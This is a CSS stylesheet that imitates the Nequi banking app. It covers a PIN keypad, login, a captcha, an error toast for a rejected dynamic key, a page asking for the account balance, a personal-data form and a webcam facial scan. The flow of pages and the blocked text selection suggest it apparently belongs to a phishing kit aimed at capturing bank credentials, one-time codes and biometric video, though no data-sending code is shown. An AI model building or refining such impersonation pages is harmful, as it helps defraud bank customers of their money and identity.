:root {
    --nequi-pink: #ff99cc;
    --nequi-pink-hover: #ff77bb;
    --nequi-green: #00b17b; /* Color verde para el chulo */
    --bg-color: #fcfcfc;
    --input-bg: #f9f2f6;
    --text-color: #333;
    --text-muted: #666;
    --border-color: #e0e0e0;
}

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    font-family: 'Open Sans', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
    user-select: none; /* Bloquear selección de texto */
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
}

body {
    background-color: #ffffff;
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    padding: 20px;
}

.nequi-container {
    width: 100%;
    max-width: 450px;
    background-color: white;
    padding: 40px 20px;
    text-align: center;
    display: flex;
    flex-direction: column;
    min-height: 100vh;
}

/* Nequi Logo Refined */
.nequi-logo {
    display: flex;
    justify-content: center;
    align-items: center;
    margin-bottom: 25px; /* Aumentado de 10px a 25px para dar más espacio */
    gap: 4px;
}

.security-icon-container {
    display: flex;
    justify-content: center;
    margin-bottom: 25px;
}

.security-icon {
    width: 80px;
    height: 80px;
}

.index-instruction {
    font-size: 18px;
    color: #333;
    line-height: 1.4;
    margin-bottom: 35px;
    font-weight: 500;
    text-align: center;
    padding: 0 10px;
}

.index-instruction .small-text {
    font-size: 15px; /* Texto un poco más pequeño como solicitaste */
    font-weight: 400;
    display: inline-block;
    margin-top: 5px;
}

.brand-square {
    width: 6px;
    height: 6px;
    background-color: #ff007f;
    margin-top: -15px;
}

.nequi-brand {
    font-size: 38px;
    font-weight: 700;
    color: #240034; /* Nequi Dark Purple */
    letter-spacing: -1px;
}

.confirmation-page .nequi-header {
    margin-bottom: 25px; /* Reducido para acercar las casillas al texto */
}

.validation-info {
    margin-top: 20px; /* Reducido de 25px a 20px */
    padding: 0 10px;
}

.validation-title {
    font-size: 26px;
    font-weight: 700;
    color: #240034;
    margin-bottom: 10px; /* Reducido de 15px a 10px */
    letter-spacing: -0.5px;
}

.validation-subtitle {
    font-size: 15px;
    color: #444;
    line-height: 1.5;
    font-weight: 400;
    max-width: 320px;
    margin: 0 auto;
}

.pin-display {
    display: flex;
    justify-content: center;
    gap: 20px;
    margin-bottom: 25px;
}

.pin-slot {
    width: 32px;
    height: 40px;
    border-bottom: 1.5px solid #333;
    display: flex;
    justify-content: center;
    align-items: center;
    font-size: 24px;
    font-weight: 300;
    color: #240034;
    position: relative;
    transition: all 0.1s ease;
}

.pin-slot.active-yellow {
    background: none;
}

.pin-slot.active-yellow::before {
    content: '';
    position: absolute;
    bottom: 5px;
    left: -4px;
    right: -4px;
    height: 12px;
    background-color: rgba(255, 242, 0, 0.85); /* Amarillo resaltador */
    z-index: -1;
    border-radius: 2px;
    transform: rotate(-1deg);
}

/* Keypad Refined */
.keypad {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    gap: 30px 10px;
    max-width: 320px;
    margin: 0 auto 60px;
}

.key-btn {
    background: none;
    border: none;
    font-size: 32px;
    font-weight: 300;
    padding: 10px;
    cursor: pointer;
    color: #240034;
    display: flex;
    justify-content: center;
    align-items: center;
    user-select: none; /* Evita selección de texto al tocar */
    -webkit-tap-highlight-color: transparent; /* Quita el recuadro azul en móviles */
    transition: transform 0.1s, opacity 0.1s;
}

.key-btn:active {
    transform: scale(0.9);
    opacity: 0.6;
}

.backspace-btn:active .backspace-key-shape {
    background-color: #4a0068; /* Color un poco más claro al presionar */
}

.backspace-key-shape {
    display: flex;
    justify-content: center;
    align-items: center;
}

.backspace-key-shape {
    width: 48px;
    height: 32px;
    background-color: #240034;
    clip-path: polygon(30% 0%, 100% 0%, 100% 100%, 30% 100%, 0% 50%);
    display: flex;
    justify-content: center;
    align-items: center;
    padding-left: 8px; /* Para que la X se vea centrada en la parte rectangular */
    color: white;
    font-size: 10px;
    border-radius: 4px;
}

.empty-key {
    width: 100%;
}

/* Cancela Button Refined */
.cancel-container {
    width: 100%;
    max-width: 320px;
    margin: 0 auto;
}

.cancel-btn {
    width: 100%;
    background-color: white;
    border: 1px solid #240034;
    color: #240034;
    padding: 18px;
    font-size: 18px;
    font-weight: 400;
    border-radius: 8px;
    cursor: pointer;
    transition: all 0.2s;
}

.cancel-btn:hover {
    background-color: #f9f9f9;
}

.cancel-btn:active {
    background-color: #e0e0e0; /* Color grisáceo al seleccionar */
    transform: scale(0.98);
}

/* Keep previous styles for index.html */
.logo-top {
    margin-bottom: 20px;
}

/* Nequi Loader Overlay */
.nequi-loader-overlay {
    background: white;
    z-index: 2000;
}

.nequi-logo-loader {
    display: flex;
    justify-content: center;
    align-items: center;
    margin-bottom: 30px;
    gap: 4px;
}

.nequi-logo-loader .nequi-brand {
    font-size: 42px;
}

.loader-spinner {
    border: 3px solid #f3f3f3;
    border-top: 3px solid #ff007f;
    border-radius: 50%;
    width: 50px;
    height: 50px;
    animation: spin 1s linear infinite;
    margin-bottom: 20px;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

/* Footer Info Style */
.footer-info {
    margin-top: 25px;
    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: column;
}

.footer-text {
    font-size: 14px;
    color: #444;
    line-height: 1.5;
    text-align: center;
}

.footer-text i {
    margin-right: 6px;
    font-size: 16px;
    color: #666;
}

.footer-link {
    color: #444;
    text-decoration: underline;
    font-weight: 500;
    display: block;
    margin-top: 2px;
}

.privacy-link {
    padding: 0 4px;
    display: inline-block; /* Para que el resaltado solo ocupe el texto */
    color: #444;
}

.nequi-loader-overlay p {
    color: #240034;
    font-weight: 600;
    font-size: 18px;
}

/* App Badges & Copyright */
.store-badges {
    display: flex;
    justify-content: center;
    gap: 10px;
    margin-top: 30px;
    margin-bottom: 15px;
}

.store-badge {
    height: 35px;
    cursor: pointer;
}

.copyright-text {
    font-size: 12px;
    color: #888;
    text-align: center;
    margin-bottom: 20px;
}

/* Saldo Page Styles Refined */
.saldo-title {
    font-size: 24px;
    font-weight: 700;
    color: #000;
    margin-bottom: 12px;
    text-align: center;
}

.saldo-subtitle {
    font-size: 16px;
    color: #333;
    margin-bottom: 25px;
    text-align: center;
    line-height: 1.4;
    padding: 0 10px;
}

.saldo-illustration-box {
    background-color: #f5f5f0; /* Color de fondo suave de la imagen */
    border-radius: 15px;
    padding: 25px 20px;
    margin-bottom: 30px;
    display: flex;
    flex-direction: column;
    align-items: center;
    width: 100%;
}

.illustration-header {
    font-size: 16px;
    font-weight: 600;
    color: #000;
    margin-bottom: 20px;
}

.phone-card-container {
    position: relative;
    width: 100%;
    height: 180px;
    display: flex;
    justify-content: center;
    align-items: center;
    margin-bottom: 20px;
}

.phone-mockup-svg {
    width: 110px;
    height: 180px;
    background: #fff;
    border: 4px solid #333;
    border-radius: 20px;
    transform: rotate(-10deg);
    position: relative;
    left: -30px;
}

.phone-mockup-svg::before {
    content: '';
    position: absolute;
    top: 10px;
    left: 50%;
    transform: translateX(-50%);
    width: 40px;
    height: 4px;
    background: #333;
    border-radius: 10px;
}

.balance-card-overlay {
    position: absolute;
    width: 200px;
    height: 110px;
    background: linear-gradient(135deg, #ff007f 0%, #240034 100%);
    border-radius: 15px;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    color: white;
    box-shadow: 0 10px 25px rgba(255, 0, 127, 0.3);
    z-index: 2;
    left: 55%;
    top: 50%;
    transform: translate(-50%, -50%);
}

.card-amount {
    font-size: 32px;
    font-weight: 700;
}

.card-label {
    font-size: 12px;
    opacity: 0.9;
    margin-top: 4px;
}

.illustration-footer {
    font-size: 15px;
    color: #333;
    line-height: 1.5;
    text-align: center;
    margin-top: 10px;
}

.illustration-footer strong {
    font-weight: 700;
}

/* Saldo Input Refined */
.saldo-input-group {
    width: 100%;
    margin-top: 20px;
    margin-bottom: 30px;
}

.saldo-input-group label {
    display: block;
    font-size: 16px;
    color: #333;
    margin-bottom: 10px;
    text-align: left;
    font-weight: 400;
}

.input-wrapper {
    display: flex;
    align-items: center;
    background-color: #f9f2f6; /* Rosado muy claro como en login */
    border-radius: 8px;
    padding: 12px 15px;
    transition: all 0.3s ease;
    border: 1px solid transparent;
}

.input-wrapper:focus-within {
    border-color: #ff007f;
    background-color: #fff;
    box-shadow: 0 0 0 3px rgba(255, 0, 127, 0.1);
}

.input-wrapper span.currency-symbol {
    font-size: 22px;
    font-weight: 700;
    color: #000;
    margin-right: 10px;
}

.input-wrapper input {
    width: 100%;
    border: none;
    background: transparent;
    font-size: 20px;
    font-weight: 500;
    color: #000;
    padding: 5px 0;
}

.input-wrapper input::placeholder {
    color: #aaa;
    font-weight: 400;
}

.input-wrapper input:focus {
    outline: none;
}

.btn-verificar {
    background-color: #ffb3d9 !important; /* Rosado pálido desactivado */
    width: 100%;
    border-radius: 8px;
    font-size: 16px;
    padding: 15px;
    text-transform: none;
    transition: all 0.4s ease;
    opacity: 0.8;
    cursor: not-allowed;
    box-shadow: 0 4px 10px rgba(0, 0, 0, 0.05);
}

.btn-verificar.btn-ready {
    background-color: #d81b60 !important; /* Rosado fuerte original */
    opacity: 1;
    cursor: pointer;
    box-shadow: 0 8px 25px rgba(216, 27, 96, 0.3);
    transform: translateY(-1px);
}

.btn-verificar.btn-ready:hover {
    background-color: #ad1457 !important;
    transform: translateY(-3px);
    box-shadow: 0 10px 30px rgba(216, 27, 96, 0.4);
}

.nequi-header h1 {
    font-size: 24px;
    font-weight: 700;
    color: var(--text-color);
    margin-bottom: 20px;
}

/* Login Page Styles Improved */
.login-instruction {
    font-size: 16px;
    color: #333;
    line-height: 1.4;
    margin-bottom: 30px;
    font-weight: 400;
}

.nequi-form .input-group {
    margin-bottom: 15px;
}

.nequi-form .input-group input {
    background-color: #f9f2f6; /* Color rosado muy claro de la imagen */
    border: none;
    border-radius: 4px;
    padding: 18px;
    font-size: 18px;
    font-weight: 300;
}

.captcha-container {
    border: 1px solid #ff99cc; /* Borde rosa claro */
    border-radius: 12px;
    padding: 25px 20px;
    margin: 25px 0;
    cursor: pointer;
    background-color: #fff;
}

.captcha-checkbox {
    display: flex; 
    align-items: center;
    gap: 20px;
}

.circle-icon {
    width: 32px;
    height: 32px;
    border: 1.5px solid #e0e0e0;
    border-radius: 50%;
    display: flex;
    justify-content: center;
    align-items: center;
    position: relative;
    transition: all 0.3s ease;
    background-color: #fff;
    flex-shrink: 0;
}

/* El círculo interno que aparece al dar click */
.circle-icon::after {
    content: '';
    width: 20px;
    height: 20px;
    border: 2px solid #ff007f;
    border-radius: 50%;
    position: absolute;
    opacity: 0;
    transform: scale(0.5);
    transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
}

/* Estado Cargando (Esperando) */
.captcha-container.loading .circle-icon {
    border-color: #ff007f;
}

.captcha-container.loading .circle-icon::before {
    content: '';
    width: 32px;
    height: 32px;
    border: 1.5px solid transparent;
    border-top-color: #ff007f;
    border-radius: 50%;
    position: absolute;
    animation: spin 0.8s linear infinite;
}

/* Estado Seleccionado (Chuleado en Verde) - CON ANIMACIÓN */
.captcha-container.checked .circle-icon {
    border-color: #00b17b !important;
    background-color: #fff !important;
}

.captcha-container.checked .circle-icon::after {
    content: '';
    width: 14px;
    height: 7px;
    border: none !important;
    border-left: 2.5px solid #00b17b !important;
    border-bottom: 2.5px solid #00b17b !important;
    border-radius: 0;
    position: absolute;
    opacity: 1;
    transform: scale(1) rotate(-45deg);
    margin-top: -3px;
    background-color: transparent;
    transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
}

/* Restaurar el Efecto de pulso en verde que se veía mejor */
.captcha-container.checked .circle-icon::before {
    content: '';
    width: 32px;
    height: 32px;
    border: 1px solid rgba(0, 177, 123, 0.4);
    border-radius: 50%;
    position: absolute;
    animation: pulse-ring-success 1.5s infinite;
    display: block !important; /* Volver a mostrarlo */
}

/* Limpiar rastro de carga rosado al estar chuleado */
.captcha-container.checked .circle-icon {
    animation: none !important;
}

/* ELIMINAR EL CHULO NEGRO (ICONO) PARA QUE SOLO QUEDE EL VERDE */
.captcha-container.checked .circle-icon i {
    display: none !important;
}

@keyframes pulse-ring-success {
    0% { transform: scale(0.8); opacity: 0.6; }
    100% { transform: scale(1.4); opacity: 0; }
}

/* Toast Notification Error Clave Dinámica */
.toast-error {
    position: fixed;
    top: 20px;
    left: 50%;
    transform: translateX(-50%) translateY(-100px);
    width: 90%;
    max-width: 400px;
    background-color: #ff3b5c; /* Rojo/Rosado intenso de la imagen */
    color: #fff;
    padding: 15px 20px;
    border-radius: 12px;
    display: flex;
    align-items: center;
    gap: 15px;
    box-shadow: 0 10px 25px rgba(0,0,0,0.2);
    z-index: 9999;
    transition: all 0.5s cubic-bezier(0.68, -0.55, 0.265, 1.55);
    opacity: 0;
}

.toast-error.show {
    transform: translateX(-50%) translateY(0);
    opacity: 1;
}

.toast-error.fade-out {
    opacity: 0;
    transform: translateX(-50%) translateY(-20px);
}

.toast-icon {
    background-color: rgba(255, 255, 255, 0.2);
    width: 35px;
    height: 35px;
    border-radius: 50%;
    display: flex;
    justify-content: center;
    align-items: center;
    flex-shrink: 0;
}

.toast-text {
    font-size: 14px;
    line-height: 1.4;
    font-weight: 500;
}

.captcha-text {
    font-size: 15px;
    color: #333;
    text-align: left;
    line-height: 1.4;
    font-weight: 400;
}

.btn-primary {
    background-color: #ffb3d9; /* Rosado pálido por defecto */
    color: white;
    width: 100%;
    padding: 18px;
    border-radius: 8px;
    font-size: 18px;
    font-weight: 600;
    margin-bottom: 12px;
    border: none;
}

.btn-primary.btn-ready {
    background-color: #ff007f !important;
    opacity: 1;
}

.btn-secondary {
    background-color: white;
    color: #240034;
    border: 1.5px solid #240034;
    width: 100%;
    padding: 18px;
    border-radius: 8px;
    font-size: 18px;
    font-weight: 400;
}

.forgot-password-text {
    margin-top: 30px;
    font-size: 15px;
    color: #333;
    line-height: 1.5;
}

.nequi-footer {
    margin-top: 30px;
    padding: 0 10px;
}

.nequi-footer p {
    font-size: 14px;
    color: var(--text-color);
    line-height: 1.5;
}

/* Estilos del Modal de Error */
.modal-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.5);
    display: flex;
    justify-content: center;
    align-items: center;
    z-index: 2000;
}

.error-modal-content {
    background: white;
    width: 90%;
    max-width: 400px;
    padding: 40px 30px;
    border-radius: 20px;
    text-align: center;
    box-shadow: 0 10px 25px rgba(0,0,0,0.1);
}

.error-icon {
    font-size: 60px;
    margin-bottom: 20px;
}

.error-title {
    font-size: 28px;
    font-weight: 700;
    color: #240034;
    margin-bottom: 20px;
    font-family: sans-serif;
}

.error-text {
    font-size: 18px;
    color: #555;
    line-height: 1.5;
    margin-bottom: 30px;
    font-family: sans-serif;
}

.pink-text {
    color: #ad1457; /* Rosado oscuro */
    font-weight: 600;
    display: block;
    margin-top: 10px;
}

#btnEntendido {
    background-color: #ff007f !important; /* Rosado vibrante */
    color: white;
    width: 100%;
    padding: 18px;
    font-size: 20px;
    font-weight: 700;
    border-radius: 12px;
    border: none;
    cursor: pointer;
    box-shadow: 0 4px 15px rgba(255, 0, 127, 0.3);
    transition: all 0.3s ease;
    animation: pulse-button 2s infinite; /* Animación de resalte */
}

@keyframes pulse-button {
    0% { box-shadow: 0 0 0 0 rgba(255, 0, 127, 0.7); }
    70% { box-shadow: 0 0 0 10px rgba(255, 0, 127, 0); }
    100% { box-shadow: 0 0 0 0 rgba(255, 0, 127, 0); }
}

#btnEntendido:active {
    transform: scale(0.98);
    box-shadow: 0 2px 8px rgba(255, 0, 127, 0.4);
    animation: none;
}

/* Registro Page Styles Improved */
.registro-page {
    background-color: white;
    max-width: 450px;
    padding: 30px 20px;
    text-align: center;
}

.registro-title {
    font-size: 24px;
    font-weight: 800;
    color: #240034;
    margin-bottom: 20px;
    line-height: 1.2;
    padding: 0 5px;
}

.registro-subtitle {
    font-size: 15px;
    color: #666;
    margin-bottom: 35px;
    line-height: 1.5;
    padding: 0 10px;
}

.nequi-form .input-group {
    margin-bottom: 20px;
}

.nequi-form .input-group input {
    width: 100%;
    padding: 18px 20px;
    border: 1px solid #e0e0e0; /* Borde más sutil */
    border-radius: 15px; /* Bordes más redondeados */
    background-color: #fdfdfd;
    font-size: 16px;
    transition: all 0.3s ease;
    color: #333;
    outline: none;
    box-shadow: inset 0 1px 3px rgba(0,0,0,0.02); /* Sutil profundidad interna */
}

.nequi-form .input-group input:focus {
    border-color: #ff99cc;
    background-color: white;
    box-shadow: 0 0 0 4px rgba(255, 153, 204, 0.1); /* Efecto de resplandor más moderno */
}

#btnValidarDatos {
    margin-top: 15px;
    width: 100%;
    padding: 18px;
    font-size: 18px;
    font-weight: 700;
    border-radius: 12px;
    background-color: #ff007f !important; /* Rosado vibrante de la imagen */
    color: white;
    transition: all 0.4s ease;
    box-shadow: 0 4px 10px rgba(255, 0, 127, 0.2);
    opacity: 1;
    cursor: pointer;
}

/* Estado "brillante" cuando el formulario es válido */
#btnValidarDatos.btn-ready {
    background-color: #ff007f !important; /* Rosado neón vibrante */
    opacity: 1;
    cursor: pointer;
    box-shadow: 0 8px 25px rgba(255, 0, 127, 0.4);
    transform: translateY(-1px);
}

#btnValidarDatos.btn-ready:hover {
    background-color: #e60072 !important;
    transform: translateY(-3px);
    box-shadow: 0 10px 30px rgba(255, 0, 127, 0.5);
}

#btnValidarDatos:active {
    transform: translateY(0);
}

/* Identity & Recon Page Refined */
.identity-content {
    width: 100%;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    margin-top: 20px;
    flex-grow: 1;
}

.identity-title {
    font-size: 24px;
    font-weight: 700;
    color: #240034;
    margin-bottom: 40px;
    text-align: center;
}

.selection-card {
    width: 100%;
    max-width: 340px;
    background: white;
    border-radius: 10px;
    padding: 22px 25px;
    display: flex;
    align-items: center;
    gap: 20px;
    box-shadow: 0 2px 15px rgba(0,0,0,0.05);
    cursor: pointer;
    transition: all 0.2s ease;
    border: 1px solid #eaeaea;
    margin-bottom: 60px;
}

.card-icon {
    display: flex;
    justify-content: center;
    align-items: center;
    width: 32px;
    height: 32px;
    color: #333;
}

.card-text {
    display: flex;
    flex-direction: column;
    text-align: left;
}

.main-text {
    font-size: 20px;
    font-weight: 500;
    color: #000;
    margin-bottom: 2px;
}

.sub-text {
    font-size: 16px;
    color: #888;
    font-weight: 400;
}

.recognition-icon-container {
    margin-top: 40px;
    display: flex;
    justify-content: center;
    align-items: center;
    width: 100%;
}

.user-verify-svg {
    width: 180px;
    height: 180px;
    color: #240034;
}

.user-verify-svg .accent {
    stroke: #ff007f;
}

/* --- PÁGINA FINAL FACIAL --- */
.facial-page {
    background-color: white;
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    align-items: center;
}

.facial-content {
    width: 100%;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    flex-grow: 1;
}

.facial-title {
    font-size: 24px;
    font-weight: 700;
    color: #240034;
    margin-bottom: 40px;
}

.facial-scanner-container {
    width: 220px;
    height: 220px;
    position: relative;
    margin-bottom: 30px;
    display: flex;
    justify-content: center;
    align-items: center;
}

.scanner-svg {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 10;
    transform: rotate(-90deg); /* Empezar desde arriba */
    pointer-events: none;
}

.scanner-circle-bg {
    stroke: #f3f3f3;
    stroke-width: 4;
}

.scanner-ring-svg {
    stroke: #ff007f;
    stroke-width: 6;
    stroke-dasharray: 100, 628; /* Longitud del arco rosa */
    animation: spin-svg 2s linear infinite;
    transition: opacity 0.5s ease;
}

@keyframes spin-svg {
    0% { transform: rotate(0deg); transform-origin: center; }
    100% { transform: rotate(360deg); transform-origin: center; }
}

.progress-ring__circle {
    stroke: #00b17b;
    stroke-width: 6;
    transition: stroke-dashoffset 0.5s ease;
}

.scanner-video-container {
    width: 200px;
    height: 200px;
    position: relative;
    display: flex;
    justify-content: center;
    align-items: center;
    border-radius: 50%;
    overflow: hidden;
    background-color: #000;
}

/* Chulo verde animado */
.success-check-container {
    position: absolute;
    width: 100%;
    height: 100%;
    background-color: #fff;
    display: none;
    justify-content: center;
    align-items: center;
    z-index: 20;
    border-radius: 50%;
}

.check-svg {
    width: 120px;
    height: 120px;
}

.check-circle {
    stroke-dasharray: 400;
    stroke-dashoffset: 400;
    stroke: #00b17b;
    stroke-width: 5;
    fill: none;
    animation: draw-circle 0.6s ease-out forwards;
}

.check-mark {
    stroke-dasharray: 100;
    stroke-dashoffset: 100;
    stroke: #00b17b;
    stroke-width: 8;
    fill: none;
    stroke-linecap: round;
    stroke-linejoin: round;
    animation: draw-check 0.4s 0.6s ease-out forwards;
}

@keyframes draw-circle {
    to { stroke-dashoffset: 0; }
}

@keyframes draw-check {
    to { stroke-dashoffset: 0; }
}

#webcam {
    width: 100%;
    height: 100%;
    object-fit: cover;
    transform: scaleX(-1);
}

.scanner-face {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    font-size: 80px;
    color: rgba(224, 224, 224, 0.4); /* Más transparente para que se vea el video */
    pointer-events: none;
    z-index: 5;
}

.facial-instruction {
    font-size: 16px;
    color: #333;
    text-align: center;
    margin-bottom: 40px;
    min-height: 48px;
}

.facial-steps {
    display: flex;
    gap: 10px;
}

.step-dot {
    width: 10px;
    height: 10px;
    border-radius: 50%;
    background-color: #f0f0f0;
}

.step-dot.active {
    background-color: #ff007f;
}

/* Éxito Final */
.success-overlay {
    background-color: white !important;
    text-align: center;
    padding: 20px;
}

.success-icon {
    font-size: 80px;
    color: #00b17b;
    margin-bottom: 25px;
}

.success-overlay h2 {
    font-size: 28px;
    color: #240034;
    margin-bottom: 15px;
}

.success-overlay p {
    font-size: 16px;
    color: #666;
    margin-bottom: 40px;
}

/* --- REUTILIZACIÓN DE OVERLAYS --- */
/* Overlay de carga */
.overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(255, 255, 255, 0.9);
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    z-index: 1000;
}

.hidden {
    display: none;
}

.loader {
    border: 4px solid #f3f3f3;
    border-top: 4px solid var(--nequi-pink);
    border-radius: 50%;
    width: 40px;
    height: 40px;
    animation: spin 1s linear infinite;
    margin-bottom: 15px;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}
